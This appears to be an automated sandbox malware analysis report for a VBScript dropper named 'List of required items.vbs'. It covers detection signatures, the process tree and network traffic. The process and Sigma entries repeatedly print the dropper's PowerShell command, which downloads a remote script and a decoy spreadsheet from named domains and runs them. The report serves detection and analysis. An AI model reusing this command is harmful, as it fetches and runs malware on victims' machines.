Edit tour

Windows Analysis Report
List of required items.vbs

Overview

General Information

Sample name:	List of required items.vbs
Analysis ID:	1570907
MD5:	26590215d0ae3c04117497b6a1546235
SHA1:	b5c169bfd5bd66e504042d950dd128f5419fa927
SHA256:	4a6db7b3a0b88d022e0f13390de064fa75b023541575c352053f3f392459b860
Tags:	185-236-228-92vbsuser-JAMESWT_MHT
Infos:

Detection

Score:	88
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

VBScript performs obfuscated calls to suspicious functions

AI detected suspicious sample

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: WScript or CScript Dropper

Sigma detected: Windows Shell/Scripting Application File Write to Suspicious Folder

Suspicious execution chain found

Suspicious powershell command line found

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Excel Network Connections

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Office Outbound Connections

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 5336 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\List of required items.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

powershell.exe (PID: 3796 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command function DownloadAndRun([string]$url, [string]$destination) { Invoke-WebRequest -Uri $url -OutFile $destination ; Start-Process -FilePath $destination -Wait };DownloadAndRun -url 'https://www.pts.group/ab/ab.vbs' -destination 'C:\Users\Public\zw7htvpqkd6bdtv.vbs';DownloadAndRun -url 'https://www.fornid.com/ab/List%20of%20required%20items.xlsx' -destination 'C:\Users\Public\s5wu2avs.xlsx' MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 1992 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

EXCEL.EXE (PID: 6732 cmdline: "C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Public\s5wu2avs.xlsx" MD5: 4A871771235598812032C822E6F68F19)

splwow64.exe (PID: 7812 cmdline: C:\Windows\splwow64.exe 8192 MD5: 77DE7761B037061C7C112FD3C5B91E73)

svchost.exe (PID: 3908 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command function DownloadAndRun([string]$url, [string]$destination) { Invoke-WebRequest -Uri $url -OutFile $destination ; Start-Process -FilePath $destination -Wait };DownloadAndRun -url 'https://www.pts.group/ab/ab.vbs' -destination 'C:\Users\Public\zw7htvpqkd6bdtv.vbs';DownloadAndRun -url 'https://www.fornid.com/ab/List%20of%20required%20items.xlsx' -destination 'C:\Users\Public\s5wu2avs.xlsx', CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command function DownloadAndRun([string]$url, [string]$destination) { Invoke-WebRequest -Uri $url -OutFile $destination ; Start-Process -FilePath $destination -Wait };DownloadAndRun -url 'https://www.pts.group/ab/ab.vbs' -destination 'C:\Users\Public\zw7htvpqkd6bdtv.vbs';DownloadAndRun -url 'https://www.fornid.com/ab/List%20of%20required%20items.xlsx' -destination 'C:\Users\Public\s5wu2avs.xlsx', CommandLine|base64offset|contains: &, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\List of required items.vbs", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5336, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command function DownloadAndRun([string]$url, [string]$destination) { Invoke-WebRequest -Uri $url -OutFile $destination ; Start-Process -FilePath $destination -Wait };DownloadAndRun -url 'https://www.pts.group/ab/ab.vbs' -destination 'C:\Users\Public\zw7htvpqkd6bdtv.vbs';DownloadAndRun -url 'https://www.fornid.com/ab/List%20of%20required%20items.xlsx' -destination 'C:\Users\Public\s5wu2avs.xlsx', ProcessId: 3796, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\List of required items.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\List of required items.vbs", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\List of required items.vbs", ProcessId: 5336, ProcessName: wscript.exe

Sigma detected: Windows Shell/Scripting Application File Write to Suspicious Folder

Source: File created

Author: Florian Roth (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 3796, TargetFilename: C:\Users\Public\s5wu2avs.xlsx

Sigma detected: Excel Network Connections

Source: Network Connection

Author: Christopher Peacock '@securepeacock', SCYTHE '@scythe_io', Florian Roth '@Neo23x0", Tim Shelton: Data: DestinationIp: 52.123.243.179, DestinationIsIpv6: false, DestinationPort: 443, EventID: 3, Image: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE, Initiated: true, ProcessId: 6732, Protocol: tcp, SourceIp: 192.168.2.8, SourceIsIpv6: false, SourcePort: 49715

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command function DownloadAndRun([string]$url, [string]$destination) { Invoke-WebRequest -Uri $url -OutFile $destination ; Start-Process -FilePath $destination -Wait };DownloadAndRun -url 'https://www.pts.group/ab/ab.vbs' -destination 'C:\Users\Public\zw7htvpqkd6bdtv.vbs';DownloadAndRun -url 'https://www.fornid.com/ab/List%20of%20required%20items.xlsx' -destination 'C:\Users\Public\s5wu2avs.xlsx', CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command function DownloadAndRun([string]$url, [string]$destination) { Invoke-WebRequest -Uri $url -OutFile $destination ; Start-Process -FilePath $destination -Wait };DownloadAndRun -url 'https://www.pts.group/ab/ab.vbs' -destination 'C:\Users\Public\zw7htvpqkd6bdtv.vbs';DownloadAndRun -url 'https://www.fornid.com/ab/List%20of%20required%20items.xlsx' -destination 'C:\Users\Public\s5wu2avs.xlsx', CommandLine|base64offset|contains: &, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\List of required items.vbs", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5336, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command function DownloadAndRun([string]$url, [string]$destination) { Invoke-WebRequest -Uri $url -OutFile $destination ; Start-Process -FilePath $destination -Wait };DownloadAndRun -url 'https://www.pts.group/ab/ab.vbs' -destination 'C:\Users\Public\zw7htvpqkd6bdtv.vbs';DownloadAndRun -url 'https://www.fornid.com/ab/List%20of%20required%20items.xlsx' -destination 'C:\Users\Public\s5wu2avs.xlsx', ProcessId: 3796, ProcessName: powershell.exe

Sigma detected: Suspicious Office Outbound Connections

Source: Network Connection

Author: X__Junior (Nextron Systems): Data: DestinationIp: 192.168.2.8, DestinationIsIpv6: false, DestinationPort: 49715, EventID: 3, Image: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE, Initiated: true, ProcessId: 6732, Protocol: tcp, SourceIp: 52.123.243.179, SourceIsIpv6: false, SourcePort: 443

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command function DownloadAndRun([string]$url, [string]$destination) { Invoke-WebRequest -Uri $url -OutFile $destination ; Start-Process -FilePath $destination -Wait };DownloadAndRun -url 'https://www.pts.group/ab/ab.vbs' -destination 'C:\Users\Public\zw7htvpqkd6bdtv.vbs';DownloadAndRun -url 'https://www.fornid.com/ab/List%20of%20required%20items.xlsx' -destination 'C:\Users\Public\s5wu2avs.xlsx', CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command function DownloadAndRun([string]$url, [string]$destination) { Invoke-WebRequest -Uri $url -OutFile $destination ; Start-Process -FilePath $destination -Wait };DownloadAndRun -url 'https://www.pts.group/ab/ab.vbs' -destination 'C:\Users\Public\zw7htvpqkd6bdtv.vbs';DownloadAndRun -url 'https://www.fornid.com/ab/List%20of%20required%20items.xlsx' -destination 'C:\Users\Public\s5wu2avs.xlsx', CommandLine|base64offset|contains: &, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\List of required items.vbs", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5336, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command function DownloadAndRun([string]$url, [string]$destination) { Invoke-WebRequest -Uri $url -OutFile $destination ; Start-Process -FilePath $destination -Wait };DownloadAndRun -url 'https://www.pts.group/ab/ab.vbs' -destination 'C:\Users\Public\zw7htvpqkd6bdtv.vbs';DownloadAndRun -url 'https://www.fornid.com/ab/List%20of%20required%20items.xlsx' -destination 'C:\Users\Public\s5wu2avs.xlsx', ProcessId: 3796, ProcessName: powershell.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\List of required items.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\List of required items.vbs", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\List of required items.vbs", ProcessId: 5336, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command function DownloadAndRun([string]$url, [string]$destination) { Invoke-WebRequest -Uri $url -OutFile $destination ; Start-Process -FilePath $destination -Wait };DownloadAndRun -url 'https://www.pts.group/ab/ab.vbs' -destination 'C:\Users\Public\zw7htvpqkd6bdtv.vbs';DownloadAndRun -url 'https://www.fornid.com/ab/List%20of%20required%20items.xlsx' -destination 'C:\Users\Public\s5wu2avs.xlsx', CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command function DownloadAndRun([string]$url, [string]$destination) { Invoke-WebRequest -Uri $url -OutFile $destination ; Start-Process -FilePath $destination -Wait };DownloadAndRun -url 'https://www.pts.group/ab/ab.vbs' -destination 'C:\Users\Public\zw7htvpqkd6bdtv.vbs';DownloadAndRun -url 'https://www.fornid.com/ab/List%20of%20required%20items.xlsx' -destination 'C:\Users\Public\s5wu2avs.xlsx', CommandLine|base64offset|contains: &, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\List of required items.vbs", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5336, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command function DownloadAndRun([string]$url, [string]$destination) { Invoke-WebRequest -Uri $url -OutFile $destination ; Start-Process -FilePath $destination -Wait };DownloadAndRun -url 'https://www.pts.group/ab/ab.vbs' -destination 'C:\Users\Public\zw7htvpqkd6bdtv.vbs';DownloadAndRun -url 'https://www.fornid.com/ab/List%20of%20required%20items.xlsx' -destination 'C:\Users\Public\s5wu2avs.xlsx', ProcessId: 3796, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 3908, ProcessName: svchost.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-08T10:46:31.460980+0100	2028371	3	Unknown Traffic	192.168.2.8	49715	52.123.243.179	443	TCP
2024-12-08T10:47:33.408964+0100	2028371	3	Unknown Traffic	192.168.2.8	49742	13.107.246.63	443	TCP
2024-12-08T10:47:42.989197+0100	2028371	3	Unknown Traffic	192.168.2.8	49769	13.107.246.63	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://www.pts.group/ab/ab.vbs

Avira URL Cloud: Label: malware

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 95.7% probability

Source: unknown	HTTPS traffic detected: 68.66.226.116:443 -> 192.168.2.8:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 93.95.216.175:443 -> 192.168.2.8:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.123.243.179:443 -> 192.168.2.8:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.8:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.8:49742 version: TLS 1.2

Source:

Binary string: \mscorlib.pdb source: powershell.exe, 00000002.00000002.2825512178.00000232BA08A000.00000004.00000020.00020000.00000000.sdmp

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: Joe Sandbox View	IP Address: 13.107.246.63 13.107.246.63
Source: Joe Sandbox View	IP Address: 93.95.216.175 93.95.216.175

Source: Joe Sandbox View

ASN Name: SERVERPLAN-ASIT SERVERPLAN-ASIT

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49715 -> 52.123.243.179:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49742 -> 13.107.246.63:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49769 -> 13.107.246.63:443

Source: global traffic	HTTP traffic detected: GET /ab/ab.vbs HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: www.pts.groupConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ab/List%20of%20required%20items.xlsx HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: www.fornid.comConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /ab/ab.vbs HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: www.pts.groupConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ab/List%20of%20required%20items.xlsx HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: www.fornid.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /config/v2/Office/excel/16.0.16827.20130/Production/CC?&EcsCanary=1&Clientid=%7bCA59C53D-E458-431B-8ED4-330B89EFBD36%7d&Application=excel&Platform=win32&Version=16.0.16827.20130&MsoVersion=16.0.16827.20130&ProcessName=excel.exe&Audience=Production&Build=ship&Architecture=x86&Language=en-US&SubscriptionLicense=false&PerpetualLicense=2019&LicenseCategory=7&LicenseSKU=ProPlus2019Retail&OsVersion=10.0&OsBuild=19045&Channel=CC&InstallType=C2R&SessionId=%7b1A503EE8-30F5-4983-BEFE-EC04FF55F26F%7d&LabMachine=false HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipIf-None-Match: "enTcjZgT68gctiEaeAXTjCZ0zq0sZZUNL0VDwz0IJG8="User-Agent: Microsoft Office 2014DisableExperiments: falseX-ECS-Client-Last-Telemetry-Events: ecs_client_library_name=MSO,ecs_client_app_name=Office,ecs_client_version=16.0.16827.20130Host: ecs.office.com
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/excel.exe-Production-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Excel 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Excel 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
